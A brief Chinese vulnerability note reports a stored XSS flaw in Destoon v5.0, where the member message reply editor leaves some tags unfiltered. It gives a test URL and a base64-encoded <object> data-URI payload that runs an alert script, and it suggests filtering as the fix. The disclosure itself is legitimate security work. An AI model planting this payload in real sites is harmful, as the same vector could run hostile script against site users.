destoon /v5.0/ 存储型xss指哪打哪 - 网站安全 - 自学

存储型xss 指哪打哪

 

注册一个用户

 

http://127.0.0.1/v5.0/member/message.php?action=send&touser=oboi123&title=RE:RE%3ARE%3Asdaaaaaaa

 

 

 

回复处用了编辑器

 

编辑器有些标签没过滤，导致xss执行

 

xsscode:

<object data=data:text/ html ;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>

 

 

object 经过base64 可形成xss语句

 

修复： 过滤

查看更多关于destoon /v5.0/ 存储型xss指哪打哪 - 网站安全 - 自学的详细内容...